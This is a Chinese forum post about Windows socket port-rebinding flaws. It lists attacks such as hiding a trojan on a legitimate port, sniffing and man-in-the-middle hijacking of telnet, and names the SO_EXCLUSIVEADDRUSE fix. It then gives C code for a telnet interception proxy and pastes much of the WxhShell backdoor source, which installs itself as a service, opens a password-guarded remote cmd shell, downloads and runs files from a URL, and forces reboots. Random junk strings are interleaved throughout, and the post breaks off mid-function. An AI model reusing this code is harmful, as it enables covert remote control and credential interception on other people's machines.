-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: r0=Aru5n s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1=C>S2q ,}%+5yH saddr.sin_family = AF_INET; $0rSb0[ "qEHK; saddr.sin_addr.s_addr = htonl(INADDR_ANY); AtNu:U$ |n-NK&Y(o bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [bH5UTA GJW>8*&&( 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 P E1F3u>O vluA46c 这意味着什么?意味着可以进行如下的攻击: h@$M.h@mcG :4|W;Lkd! 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 mq@2zE`.( fk%r?K 6K 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^S*~<0NQ' F$Q(2:w 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 il=y m H:x=v4NgsU 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 oGpyuB@A/ tiJY$YqA 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]Bw2> 6W 1MI/:vy- 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 X
10(oT g1-^@&q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ij>IL! ]8*#%^ #include o ohgZ&k2] #include w[Ee#Yaj.- #include I,
9!["^| #include nff&~lwhZ DWORD WINAPI ClientThread(LPVOID lpParam); 6jFc' int main() dM"Suw { 4bD^Kc4\ WORD wVersionRequested; U-(2;F) DWORD ret; ?qwTOi WSADATA wsaData; Eh\0gQ= BOOL val; {Lu-!}\NP SOCKADDR_IN saddr; hmJ{'D1" SOCKADDR_IN scaddr; 47s<xQy int err; ,w%cX{ SOCKET s; \"B oTi'2! SOCKET sc; a]^hcKo4 int caddsize; rnWU[U8% HANDLE mt; Z_{`$nW DWORD tid; ](yw2c;me wVersionRequested = MAKEWORD( 2, 2 ); +9db1:
err = WSAStartup( wVersionRequested, &wsaData ); Dpp3]en. if ( err != 0 ) { cwiHHf> printf("error!WSAStartup failed!\n"); kylR) return -1; BU-+L}-48 } uKF?UXc saddr.sin_family = AF_INET; ^LgaMmz 1'tagv?
//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qa
'YZE` +#~=QT9 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j&n][=PL saddr.sin_port = htons(23); !<\"XxK+l if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rJi;"xF8 { =/wAk0c^y printf("error!socket failed!\n"); $!P(Q return -1; b6%T[B B } nHxos`Qx val = TRUE; O H~X~n-Z //SO_REUSEADDR选项就是可以实现端口重绑定的 ;n?72&h
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) jR<yV { lN94 b3_W printf("error!setsockopt failed!\n"); -
Z?rx5V;t return -1; NQS@i'W=g } M,1Yce%+} //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Yjxa=CD //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Iw(2D(se //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 G4g<PFx LQ4GQqS* if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jG=*\lK6 { pjr,X+6o ret=GetLastError(); r2?-QvQ printf("error!bind failed!\n"); F. X{(8 return -1; ]Cy1yAv={ } t6p}LNm(V listen(s,2); AkdONKO8{ while(1) 5^'PjtW6 { T)Z2=5V caddsize = sizeof(scaddr); lV!ecJw$ //接受连接请求 rqk1 F~j| sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3c] oU1GfF if(sc!=INVALID_SOCKET) dA-ik { {`fhcEC mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vUBkoC2Q if(mt==NULL) ]F5?>du@~ { q,-bw2 printf("Thread Creat Failed!\n"); +P,hT break; UlQZw*ce } p~1,[]k } nW2fB8yq CloseHandle(mt); I12WOL q } !J
")TP= closesocket(s); c"R`7P WSACleanup(); Z#.J>_u
) return 0; }8cL+JJU } 9?B}CCE<LR DWORD WINAPI ClientThread(LPVOID lpParam) xvP<~N- { Ho[Kxe[c SOCKET ss = (SOCKET)lpParam; INrl^P* SOCKET sc; w J
FEua unsigned char buf[4096]; ?2hoY SOCKADDR_IN saddr; -;=0dfC( long num; I$sJ8\|gw' DWORD val; F
VW&&ft DWORD ret; bTB/M=M //如果是隐藏端口应用的话,可以在此处加一些判断 j|3p.Cy //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 K~"uZa^s saddr.sin_family = AF_INET; 2\&uO saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6wH]W+A saddr.sin_port = htons(23); UO^"<0u if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HRO:U% { [)U|HnAJ printf("error!socket failed!\n"); ],ioY*4G return -1; +e_NpC } |@KW~YlE val = 100; ZrJAfd \5c if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `.Z MwA { B6&PYMFK?* ret = GetLastError(); ^qXc%hj g return -1; '5zolp%St } IB#L5yN r if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fR<_ 4L { T7vilfO5G ret = GetLastError(); u50 o1^<X return -1; yVd}1bX } z
zL@3/<j if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R}lS@ w1 { B-`d7c5 printf("error!socket connect failed!\n"); o= VzVg closesocket(sc); E
O^j,x g closesocket(ss); /Zw^EM6c return -1; 3'WJx=0? } l;^Id#N while(1) :'RmT3 { EGWm0 F_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nDx}6}5) //如果是嗅探内容的话,可以再此处进行内容分析和记录 <PL94 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Sw HrHj num = recv(ss,buf,4096,0); o/273I if(num>0) MKIX(r(| send(sc,buf,num,0); [5Zs%!Z;8N else if(num==0) 0<"4W: break; ``?]13XjK num = recv(sc,buf,4096,0); M qq/k J if(num>0) 0NlC|5ma) send(ss,buf,num,0); ?m5@ 635 else if(num==0) 2(V;OWY(@ break; :tclYX } 5.!iVyN closesocket(ss); `7<4]#b^o closesocket(sc); m' D_zb9+ return 0 ; 4DaLt&1 } n$B SO /c3A> ;]AJ_h(<` ========================================================== hh\}WaY 2LS03 27 下边附上一个代码,,WXhSHELL Do-~-d4 Z_vIGH|1 ========================================================== -0[?6.(s" 297X). #include "stdafx.h" Ax &Z= j} ^?3< #include <stdio.h> Q?df5{6 #include <string.h> E`68Z/% #include <windows.h> Ce 3{KGBw #include <winsock2.h> .$nQD.X #include <winsvc.h> zzlV((8~ #include <urlmon.h> :t?Z Er(
I6 #pragma comment (lib, "Ws2_32.lib")
~Dvxe #pragma comment (lib, "urlmon.lib") -Lh\] Ni]V)wGE; #define MAX_USER 100 // 最大客户端连接数 u0^Vy#@_ #define BUF_SOCK 200 // sock buffer TC 7&IqT #define KEY_BUFF 255 // 输入 buffer c^ $_epc* LLE\ ;,bv #define REBOOT 0 // 重启 x'dU[f( #define SHUTDOWN 1 // 关机 ;!H<W[ R+vago: #define DEF_PORT 5000 // 监听端口 i*-[-hn-V ~,j52obR6Z #define REG_LEN 16 // 注册表键长度 I =G3 #define SVC_LEN 80 // NT服务名长度 >2Z0XEe @'UbTB! // 从dll定义API YC(7k7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -E,
d)O`;$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M\4pTcz{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SMX70T!'9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qPle=6U[IL MR$R# // wxhshell配置信息 _}8hEv struct WSCFG { d.wu int ws_port; // 监听端口 )S41N^j. char ws_passstr[REG_LEN]; // 口令 ~<[$.8* int ws_autoins; // 安装标记, 1=yes 0=no byALM char ws_regname[REG_LEN]; // 注册表键名 H?-Byi char ws_svcname[REG_LEN]; // 服务名 )UBU|uYR\ char ws_svcdisp[SVC_LEN]; // 服务显示名 %eK=5Er jx char ws_svcdesc[SVC_LEN]; // 服务描述信息 o<
)"\f/, char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SrlTwcD int ws_downexe; // 下载执行标记, 1=yes 0=no &>Zm gz char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 1%Yd ] 1c( char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -*`7Q'}% )Fe6>tE }; GWb=X cx &<??,R14 // default Wxhshell configuration ^y"
#2Ov struct WSCFG wscfg={DEF_PORT, &Pk #v "xuhuanlingzhe", |qUi9#NUo 1, 25e*W>SLw "Wxhshell", S5o\joc "Wxhshell", 1!N|a< # "WxhShell Service", !e>+O^ "Wrsky Windows CmdShell Service", O9%`G "Please Input Your Password: ", r7dwj 1, zVEG)
Hr " http://www.wrsky.com/wxhshell.exe", T'VZ=l[ "Wxhshell.exe" (2 nSZRB }; EI+RF{IKh "==fWf // 消息定义模块 =rL%P~0wq char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W4MU^``
char *msg_ws_prompt="\n\r? for help\n\r#>"; I8ZBs0sfF{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; zG
IxmJ. char *msg_ws_ext="\n\rExit."; ANIx0*Yl( char *msg_ws_end="\n\rQuit."; [)efh9P* char *msg_ws_boot="\n\rReboot..."; S($8_u$U char *msg_ws_poff="\n\rShutdown..."; q!L@9&KAQ char *msg_ws_down="\n\rSave to "; Jd]kg,/ &m{SWV+ char *msg_ws_err="\n\rErr!"; tVI6GXH char *msg_ws_ok="\n\rOK!"; R1sWhB99 sd5%S zx char ExeFile[MAX_PATH]; %XF>k) int nUser = 0; bC a%$ HANDLE handles[MAX_USER]; +(Q$GO% int OsIsNt; 2Dc2uU@`r _?VMSu SERVICE_STATUS serviceStatus; Z;v5L/; SERVICE_STATUS_HANDLE hServiceStatusHandle; 'dXGd.V7u K_SURTys // 函数声明 y$Nqw9 int Install(void); }Gvu!a#R int Uninstall(void); qdW"g$fW int DownloadFile(char *sURL, SOCKET wsh); \v\f'eQ int Boot(int flag); {[I]pm~n void HideProc(void); .ei5+?V<i int GetOsVer(void); <cof int Wxhshell(SOCKET wsl); $O'IbA void TalkWithClient(void *cs); QUQw/ int CmdShell(SOCKET sock); Am'%tw
~ int StartFromService(void); /Z~}dWI int StartWxhshell(LPSTR lpCmdLine); b((>?=hh Jn :h;|9w VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ax)>rP,V VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q9G\T:^ury =Ch^;Wyt // 数据结构和表定义 |Eyn0\OA SERVICE_TABLE_ENTRY DispatchTable[] = uM"_3je{W2 { DXI{ jalL {wscfg.ws_svcname, NTServiceMain}, &~Hx!]uc {NULL, NULL} pie8 3Wy> }; Y5fz_ [(" SH1S_EQ< // 自我安装 @ajt
D-_2 int Install(void) IGnP#@`5] { 5 eLm char svExeFile[MAX_PATH]; n^lr7(!6 HKEY key; luWr.<1 strcpy(svExeFile,ExeFile); urbSprdF W9D~:>^YP // 如果是win9x系统,修改注册表设为自启动 <5 )F9.$ if(!OsIsNt) { $-i(xnU/nl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /:Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <jAn~=Uq[, RegCloseKey(key); Of}dsav
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mu*RXLai RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ljP<WD RegCloseKey(key); 0h-'TJg*sk return 0; (=-6'23q) } `GU Gy. b } "Snt~:W> } pN4gHi= else { ?hmuAgOtbh #3knKBH // 如果是NT以上系统,安装为系统服务 A8X3|<n= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); goqm6L^Cu if (schSCManager!=0) C~-.zQ$ { 91#rP|88; SC_HANDLE schService = CreateService ;5p;i8m ( dW5@Z-9 schSCManager, ,;@vVm'} wscfg.ws_svcname, FP<mFqy wscfg.ws_svcdisp, ]r\FC\n6e SERVICE_ALL_ACCESS, : Tcvj5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BUs={"Pa SERVICE_AUTO_START, po!bRk[4 SERVICE_ERROR_NORMAL, Z mc" svExeFile, *S<d`mp[ NULL, ZLZh$eZZ NULL, QOR92}yC NULL, /O}lSXo6E NULL, WYN0,rv1:+ NULL >ZwDcuJ~Lz ); *djVOC if (schService!=0) )^`V{iD { `iNH`:[w CloseServiceHandle(schService); lyD=n CloseServiceHandle(schSCManager); U#G<cV79 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2!_DkE strcat(svExeFile,wscfg.ws_svcname); .TM.
v5B if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2Krh& RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X #>:9 RegCloseKey(key); C
%i{{Y&l return 0; g#q7~#9 } FnPn#Cv>* } U4NH9-U' CloseServiceHandle(schSCManager); YuUJgt .1 } wEF"'T } 7J;\&q' /|p\l" return 1; <Uy $b4h } vW-o%u* D(WdI // 自我卸载 %Jji<M] int Uninstall(void) fuU
3?SG { Z*+y?5+L"P HKEY key; &. MUSqo9 \1O
wZ@ if(!OsIsNt) { t"Bp#
U1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #p<(2wN RegDeleteValue(key,wscfg.ws_regname); _fdD4-2U RegCloseKey(key); jmG)p|6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }` YtXD-o RegDeleteValue(key,wscfg.ws_regname); (l -l
Y RegCloseKey(key); ZPG~@lU return 0; 7_R[=t } ?3%r:g4 } OFxCV`>ce } j>?`N^ else { PLJDRp 2o ..R JHa6B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q`3HHq if (schSCManager!=0) eH V#Mey[ { UX'q64F! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?_B'#,tI if (schService!=0) Zu*7t<W { G{!(2D 4! if(DeleteService(schService)!=0) { 4F"%X&$ CloseServiceHandle(schService); u+O"c CloseServiceHandle(schSCManager); KF6N P return 0; vm7ag 7@O } Rk-G|52g CloseServiceHandle(schService); zE Ly1v\" } A34O(fE CloseServiceHandle(schSCManager); -,Js2+QZ# } ~z(0XKq0d } nsM.`s@V %d%FI"!K return 1; P]iJ"d]+X } ?OPuv5!pI au]W*;x // 从指定url下载文件 V,%K"b= int DownloadFile(char *sURL, SOCKET wsh) IE3GZk+a~ { v
8EI HRESULT hr; rp4{lHw>C/ char seps[]= "/"; (f2r4Io|} char *token; _F(Np\%_ char *file; ^E_chx-e} char myURL[MAX_PATH]; gCF9XKW char myFILE[MAX_PATH]; u_}UU
2 K^",LCJA strcpy(myURL,sURL); 53$;ZO3 token=strtok(myURL,seps); 5|7<ZL3 while(token!=NULL) G?, "AA; { !*3]PZ25a( file=token; AV4fN@BX token=strtok(NULL,seps); XSCcumde! } @
M4m!;rM M~h.MPI GetCurrentDirectory(MAX_PATH,myFILE); A)gSOC{3F) strcat(myFILE, "\\"); .mNw^>:cq strcat(myFILE, file); "sIww send(wsh,myFILE,strlen(myFILE),0); wwet90_g send(wsh,"...",3,0); gi>W&6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0e07pF/! if(hr==S_OK) IEd?-L return 0; 8;"9A else H]W'mm return 1; ?LJiFG]^m x+TdTe;p } da~_(giD* G^cMY$?99 // 系统电源模块 /;TtMQt int Boot(int flag) cNikLd~?A { &grvlK HANDLE hToken; E,dUO; TOKEN_PRIVILEGES tkp; #?`S+YN!q) _#Lq~02 % if(OsIsNt) { ]t~'wL#Z OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Mnk-"d LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #|3,DZ|)F tkp.PrivilegeCount = 1; f~,Ml*Zp tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \D};0#G0& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fq4uiFi< if(flag==REBOOT) { L&rtN@5; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DAg* return 0; orYZ<,u } ;at1|E* else { obN8+ j if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5wdKu,nq return 0; +]( #!}oH } [c -|`d^ } s(ap~UCOw else { p5py3k if(flag==REBOOT) { )*R';/zaI if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MIyT9",Pl return 0; ,6#%+u}f } WJ)4rQ$o else { ;y{(#X# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?S9vYaA$ return 0; a@Zolz_Z } e2BC2K0 } f`*VNB` WgG$ r return 1; )#1!%aQ } j6};K ~N` $RB
p!7 // win9x进程隐藏模块 @nMVs6 void HideProc(void) 2s>BNWTU { #qUGc` uix/O*^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kma>'P`G if ( hKernel != NULL ) ,L.V>Ae { _"OE}$C pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '/OQ[f=K ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -/0aGqY FreeLibrary(hKernel); n(|n=P:o } ZR-64G=L, UCkV;//. return; \{!,a } KK5_;< -"{g kjuv // 获取操作系统版本 ,%BDBZ int GetOsVer(void) ]T&d_~l
{ R/Z7}Q W OSVERSIONINFO winfo; -j2y#aP winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ml;` *; GetVersionEx(&winfo); ?=^\kXc[ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q9PjQ% return 1; l!KPgRw else kj.9\ return 0; ?FUK_] } +]zRn #D%6b // 客户端句柄模块 Qca3{|r` int Wxhshell(SOCKET wsl) wf1p/bpf {
>@ xe-0z SOCKET wsh; .p*?g; struct sockaddr_in client; <3/_'/C DWORD myID; ].5q,A] *9w-eK1{ while(nUser<MAX_USER) r{84Y!k~* { q_ryW$/_ int nSize=sizeof(client);
$cc]Av4c2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U 8p %MFD if(wsh==INVALID_SOCKET) return 1; =yM%#{t&W g oyQ',+ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S("dU`T? if(handles[nUser]==0) _d!o,=} closesocket(wsh); $-~"G,;F else ,nCvA%B! nUser++; CWRB/WH: } +Mhk<A[s WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %W2U$I5 f[.'V1 return 0; rlawH}1b } ~Hv>^u
Mh J .TK<! // 关闭 socket $~/cxLcT void CloseIt(SOCKET wsh) r\FZ-gk}Q { = &?&}pVF closesocket(wsh); rly%+B `/ nUser--; HRjbGc|[ ExitThread(0); 6Z' K1 } ?G!~& ?8?vBkz~ // 客户端请求句柄 c0rU&+:Ry void TalkWithClient(void *cs) ~:U`^wtQ { -Ah&|!/ 2eeFaFif SOCKET wsh=(SOCKET)cs; xGbq,~_r char pwd[SVC_LEN]; ^,t@HN;gA char cmd[KEY_BUFF]; GUqG1u z9 char chr[1]; Rg\4#9S JF int i,j; n f<I )8eb(!}7 while (nUser < MAX_USER) { @Tq-3Um Lj#xZ!mQS if(wscfg.ws_passstr) { 9E8&~y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3A[<LnKR^E //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5 r_Z3/% //ZeroMemory(pwd,KEY_BUFF); 5M~nNm[xJU i=0; vu91"
4Fa while(i<SVC_LEN) { [hpkE lE =<m!%/I // 设置超时 QxxPImubB fd_set FdRead; ?6nB=B)/ struct timeval TimeOut; QT73=>^B FD_ZERO(&FdRead); =Ry8E2NuM FD_SET(wsh,&FdRead); -K(d]-yv TimeOut.tv_sec=8; Zlh 2qq TimeOut.tv_usec=0; C& XPn;f int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _j3rs97@| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #Ha"rr46p Z!^>!'Z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s^IC]sW\% pwd =chr[0]; CDXN%~0h if(chr[0]==0xd || chr[0]==0xa) { T0"nzukd pwd=0; >3B{sn} break; 7CSz } :@"o.8p i++; Hm!"% } ;~djbo0,X Uf]$I`T# // 如果是非法用户,关闭 socket nTD%i~t~o if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2p#d } &z5?]`ALu 1%R${Qhr send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D.%%D%AdB send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &!O?h/&X3 ZWGX*F#}P while(1) { (VI(Nv:o@ Jr;w>8B), ZeroMemory(cmd,KEY_BUFF); )\VuN-d sJ^Ff // 自动支持客户端 telnet标准 -64;P9:A> j=0; '[%Pdd]!
E while(j<KEY_BUFF) { 3`{;E{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DEhR\Z! cmd[j]=chr[0]; Ta/zDc"e if(chr[0]==0xa || chr[0]==0xd) { &a e!lB cmd[j]=0; F.i}&UQ% break; +Yq?:uBV } W94 u7a j++; OPE+:TvW^ } bp}97ZQ `Npo|.?= // 下载文件 kdlmj[= if(strstr(cmd,"http://")) { fp\mBei send(wsh,msg_ws_down,strlen(msg_ws_down),0); YQFz6#Ew if(DownloadFile(cmd,wsh)) R@5eHP^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); DNgh#!\X else AB,(%JT/2{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s-'~t#h } EA1&D^nT else { B[EOz\?=m ;r~1TUKb switch(cmd[0]) { %saP>]o 5
-|7I7(G$ // 帮助 nvLdgu4P> case '?': { <pa-C2Ky send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d}Guj/cx, break; -AD`(b7q } '%ZKvZ- // 安装 _Li.}g@Bd case 'i': { He4HIZ if(Install()) K0C"s'q send(wsh,msg_ws_err,strlen(msg_ws_err),0); ar,v/l>d4N else SFtcO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zA+0jhuG break; O;V^Fk( } ~xc/Dsb$ // 卸载 &[j9Up' case 'r': { ')yYpWO if(Uninstall()) Vj1V;dHv send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~}d\sQF. else A-3^~aEgx send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J(!=Dno break; 7A'E+>1d } e&:%Rr]x // 显示 wxhshell 所在路径 _K{-1ZYsi case 'p': { v?6*n>R char svExeFile[MAX_PATH]; d*04[5` strcpy(svExeFile,"\n\r"); $|&<cenMT strcat(svExeFile,ExeFile); 'U ZzH$h send(wsh,svExeFile,strlen(svExeFile),0); vL[IVBG^ break; R2{]R&wtn0 } %g5#q64 // 重启 P*K"0[\n case 'b': { AY<L8 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *,:2O&P if(Boot(REBOOT)) 2vG
X\W%3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); fibudkg'> else { ^q/$a2<4 closesocket(wsh); X 5}=|%Y ExitThread(0); uqI'e_&=&5 } 6bjZW ~ break; <&+jl($" } +]-'{%-zK // 关机 ik)u/r DW case 'd': { [N~-9 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YqWNp if(Boot(SHUTDOWN)) 09P2<oFLn send(wsh,msg_ws_err,strlen(msg_ws_err),0); u9,dSR else { 1'(";
0I closesocket(wsh); .{?;#Cdn ExitThread(0); yX{7<\x
} ?q Q.Wj6Mj break; FJ!`[.t1AU } M;3q.0MU // 获取shell pp1Kor case 's': { sUmpf 4/ CmdShell(wsh); ,?qJAV~> closesocket(wsh); ]}l.*v\uK ExitThread(0); j1->w8 break; B=^M& { } n{~&^Nby*I // 退出 {jR3D!hK case 'x': { jr.{M send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d_&pxy?
> CloseIt(wsh); o+{i26% break; '~f*O0_ } Ei+lVLoC // 离开 ht6}v<x.eA case 'q': { =N\$$3m?
send(wsh,msg_ws_end,strlen(msg_ws_end),0); \r{wNqyv closesocket(wsh); VSCKWYy WSACleanup(); EXH,+3fQp exit(1); AB+lM;_> break; >$CNR*}@ } LX&O"YY } yil5aUA } l*w' O b%"/8rK // 提示信息 ?z-nY,'^uq if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W=+AU!% } XUR#| } &YD+s%OL ;O~FiA~`c return; s[UV(::E } hR2 R
c w)J+Lyh // shell模块句柄 FqnD"]A int CmdShell(SOCKET sock) + `'wY? { CK4#ZOiaa STARTUPINFO si; jgXr2JQ< ZeroMemory(&si,sizeof(si)); &dj/Dq@ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; edpR x"_ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3xP<J)S0 PROCESS_INFORMATION ProcessInfo; #n.v#FyNx char cmdline[]="cmd"; IQ~Anp^R CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AA ~7"2e return 0; 47*2QL^zj } E#tfCM6 vZS/?pU~~ // 自身启动模式 $I#~<bW, int StartFromService(void) Rc D5X{qS# { P92pQ_W typedef struct u6Ux nqNc { #wvGS% DWORD ExitStatus; [4B(rra DWORD PebBaseAddress; |pMP- DWORD AffinityMask; ;H71A[M
